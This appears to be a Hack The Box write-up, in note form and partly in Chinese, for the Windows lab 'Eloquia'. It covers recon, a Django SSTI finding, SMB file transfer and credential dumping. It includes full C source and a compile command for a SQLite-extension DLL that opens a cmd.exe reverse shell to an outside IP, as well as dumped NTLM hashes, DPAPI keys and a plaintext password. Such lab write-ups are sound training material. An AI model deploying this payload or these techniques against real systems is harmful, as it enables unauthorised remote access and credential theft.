Eloquia

1. User

1.1. Recon

1.1.1. PortScan

┌──(root㉿kali)-[~/Desktop/htb/Eloquia]
└─# nmap 10.129.12.100 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-13 18:33 EST
Nmap scan report for 10.129.12.100
Host is up (0.22s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 16.03 seconds

┌──(root㉿kali)-[~/Desktop/htb/Eloquia]
└─# nmap 10.129.12.100 -p80,5985 -sCV -O
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 02:18 EST
Nmap scan report for eloquia.htb (10.129.12.100)
Host is up (0.080s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-title: Eloquia
|_http-server-header: Microsoft-IIS/10.0
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds

1.1.2. vhost

┌──(root㉿kali)-[~/Desktop/htb/Eloquia]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://eloquia.htb -H "Host: FUZZ.eloquia.htb" -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://eloquia.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.eloquia.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 589 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

1.1.3. dirsearch

┌──(root㉿kali)-[~/Desktop/htb/Eloquia]
└─# dirsearch -u http://eloquia.htb/ -x 403,404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/htb/Eloquia/reports/http_eloquia.htb/__25-12-14_06-29-04.txt

Target: http://eloquia.htb/

[06:29:04] Starting:
[06:29:21] 301 -    0B  - /about  ->  /about/
[06:29:22] 301 -    0B  - /accounts/login  ->  /accounts/login/
[06:30:04] 301 -    0B  - /contact  ->  /contact/

Task Completed

1.2. web

Pasted image 20251214152244.png
这是一个经验分享平台

1.2.1. Django

注册账号的时候我输入了一个存在的账号和一个弱密码,它提示了下面的信息
Pasted image 20251214152753.png
对于下面的这些警告,他经常出现在 Django 框架中。这是此框架很常见的一种密码验证器 Password management in Django | Django documentation | Django

The password is too similar to the email.
This password is too short. It must contain at least 8 characters.
This password is too common.
This password is entirely numeric.

网页插件wappalyzer也可以帮我识别出这是一个 Django 框架写的网站
Pasted image 20251214154303.png

1.2.2. SSTI

Pasted image 20251214154150.png
注册登录后,这里可以上传一个头像
此外还可以发表文章,考虑到这里是一个 Django 框架写的网站,这很可能会存在 SSTI 漏洞

Pasted image 20251214155231.png
我分别在标题、正文、评论插入了 {{7*7}} 发现标题和正文是存在 SSTI

注: 这里要成功发表文章需要你先上传一个banner,否则会发表失败

DLL &sqli

typedef struct sqlite3 sqlite3;
typedef struct sqlite3_api_routines sqlite3_api_routines;

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

__declspec(dllexport) int sqlite3_extension_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    WSADATA wsaData;
    SOCKET s;
    struct sockaddr_in sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("192.168.1.100");  // ← CHANGE THIS!
    sa.sin_port = htons(81);

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = (HANDLE)s;
        si.hStdOutput = (HANDLE)s;
        si.hStdError = (HANDLE)s;

        if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
            WaitForSingleObject(pi.hProcess, INFINITE);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }

    closesocket(s);
    WSACleanup();

    return 0;
}
x86_64-w64-mingw32-gcc -shared -o shell2.dll shell2.c -lws2_32

2. Olivia.kat

2.1. Recon

*Evil-WinRM* PS C:\Users\Olivia.KAT\desktop> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       876
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       488
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1092
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1436
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2212
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       624
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       632

这不是一个AD机器

2.1.1. 文件上传

此用户权限极低,certutil.exe 用不了,且 powershell 被限制,导致winrm也无法成功上传文件

*Evil-WinRM* PS C:\Users\Olivia.KAT\AppData\Local\Temp> upload winPEAS.bat

Info: Uploading /root/Desktop/htb/Eloquia/winPEAS.bat to C:\Users\Olivia.KAT\AppData\Local\Temp\winPEAS.bat

Error: Upload failed. Check filenames or paths: [WinRM::FS::Core::FileTransporter] Upload failed (exitcode: 0), but stderr present
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:51 char:12
+     return $ExecutionContext.SessionState.Path.GetUnresolvedProviderP ...
+            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage
Cannot bind argument to parameter 'Path' because it is null.
At line:19 char:18
+     if(Test-Path $dst -PathType Container) {
+                  ~~~~
    + CategoryInfo          : InvalidData: (:) [Test-Path], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.TestPathCommand
Cannot bind argument to parameter 'Path' because it is null.
At line:24 char:41
+       chk_exists = ($exists = Test-Path $dst -PathType Leaf)
+                                         ~~~~
    + CategoryInfo          : InvalidData: (:) [Test-Path], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.TestPathCommand
    
*Evil-WinRM* PS C:\Users\Olivia.KAT\AppData\Local\Temp> certutil -f -split -urlcache http://10.10.14.20/winPEAS.bat
Program 'certutil.exe' failed to run: Access is deniedAt line:1 char:1
+ certutil -f -split -urlcache http://10.10.14.20/winPEAS.bat
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ certutil -f -split -urlcache http://10.10.14.20/winPEAS.bat
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

这里采用 SMB的方式进行上传

┌──(root㉿kali)-[~/Desktop/htb/Eloquia]
└─# impacket-smbserver share ./ -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

*Evil-WinRM* PS C:\Users\public> net use \\10.10.14.20\share
The command completed successfully.

*Evil-WinRM* PS C:\tmp> copy \\10.10.14.20\share\winPEAS.bat $env:TEMP\winpeas.bat
*Evil-WinRM* PS C:\tmp> echo $env
*Evil-WinRM* PS C:\tmp> $env:TEMP
C:\Users\Olivia.KAT\AppData\Local\Temp
*Evil-WinRM* PS C:\tmp> cd C:\Users\Olivia.KAT\AppData\Local\Temp
*Evil-WinRM* PS C:\Users\Olivia.KAT\AppData\Local\Temp> dir


    Directory: C:\Users\Olivia.KAT\AppData\Local\Temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/14/2025  12:06 AM          36950 winpeas.bat

2.1.2. DF

当我执行 winPEAS 发现还有杀软

*Evil-WinRM* PS C:\Users\Olivia.KAT\AppData\Local\Temp> .\win.bat
Program 'win.bat' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\win.bat
+ ~~~~~~~~~.
At line:1 char:1
+ .\win.bat
+ ~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
    

3. Hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e63413bab01a0b8820983496c0be3a9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:257cca897df1116e7b641468d7164200:::
web:1000:aad3b435b51404eeaad3b435b51404ee:aa04ab562321912f63f2488d22756953:::
Olivia.KAT:1001:aad3b435b51404eeaad3b435b51404ee:2cbfd71fcc7181dade35b694169b2256:::
c1trus:1002:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0x12f720c1985c84fdda225fea441975e9babaf129
dpapi_userkey:0x3a981aae7e181bc85a3516a307f0a60bc6ab5c48
[*] NL$KM
 0000   10 52 DF A9 4C 5C EF 8C  A1 B1 15 D5 1C B6 B9 76   .R..L\.........v
 0010   E1 25 89 31 9E 9A 5E BF  E0 F4 83 5A 43 04 A7 42   .%.1..^....ZC..B
 0020   E8 D1 24 66 0A 41 94 93  D6 4A 0E 56 7A 10 18 2B   ..$f.A...J.Vz..+
 0030   6A 1B C9 D2 9B 2F 42 2C  B4 1D E4 55 73 DF EA DE   j..../B,...Us...
NL$KM:1052dfa94c5cef8ca1b115d51cb6b976e12589319e9a5ebfe0f4835a4304a742e8d124660a419493d64a0e567a10182b6a1bc9d29b2f422cb41de45573dfeade
[*] _SC_eloquia.htb
(Unknown User):v3ryS0l!dP@sswd#1
[*] _SC_qooqle.htb
(Unknown User):v3ryS0l!dP@sswd#1
[*] Cleaning up...